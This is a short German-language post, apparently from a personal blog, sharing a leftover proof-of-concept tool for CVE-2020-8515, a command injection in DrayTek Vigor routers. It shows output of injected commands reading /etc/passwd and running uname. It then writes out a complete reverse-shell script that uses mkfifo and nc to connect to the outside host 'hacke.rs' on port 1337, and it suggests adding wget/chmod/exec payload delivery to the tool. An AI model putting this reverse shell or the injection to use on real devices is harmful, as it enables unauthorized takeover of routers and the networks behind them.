CVE-2020-8515

Draytek CVE-2020-8515 PoC, den ich noch herumliegen hatte.

Lustigerweise wird der injizierte Befehl zweimal ausgeführt, siehe hier:

$ ./draytek.py draytek.local
(>) Führe Befehl aus: cat /etc/passwd
(+) anfällig!
(>) Führe Befehl aus: uname -a
Linux Vigor3900 2.6.33.5 #1 Wed Mar 28 00:49:28 CST 2018 armv6l unknown
Linux Vigor3900 2.6.33.5 #1 Wed Mar 28 00:49:28 CST 2018 armv6l unknown

Ich hatte vor, dieses Tool noch hübsch fertigzustellen, aber ehrlich, es ist schon etwa ein Jahr her und ich kann mich nicht mehr an die Pläne erinnern, also hier ist es. Es ist nicht schwer, etwas wget/chmod/exec hinzuzufügen, schau einfach in die Funktion „do_stuff“.

Wenn du ein Skript wie das folgende mit wget herunterlädst und ausführst, erhältst du eine Reverse Shell:

#!/bin/sh
HOST="hacke.rs"
PORT=1337
rm -f /tmp/a; mkfifo /tmp/a; nc $HOST $PORT 0</tmp/a | /bin/sh >/tmp/a 2>&1; rm /tmp/a

Ich denke, man könnte ein solches Skript auch per echoload einspielen, wenn man die problematischen Zeichen in der Injektion umgehen kann – vielleicht füge ich das später hinzu. Das Problem der doppelten Ausführung macht das jedoch etwas mühsam. Für den Moment ist das hier halbgar, „der Benutzer entscheidet“.

Dieser Exploit wird im echten Einsatz nicht viel Schaden anrichten; alle anfälligen Geräte wurden wahrscheinlich bereits von Script-Kiddie-DDoS-Botnets vereinnahmt.

Zum Scannen: Verwende die nuclei-Vorlage, die jemand erstellt hat.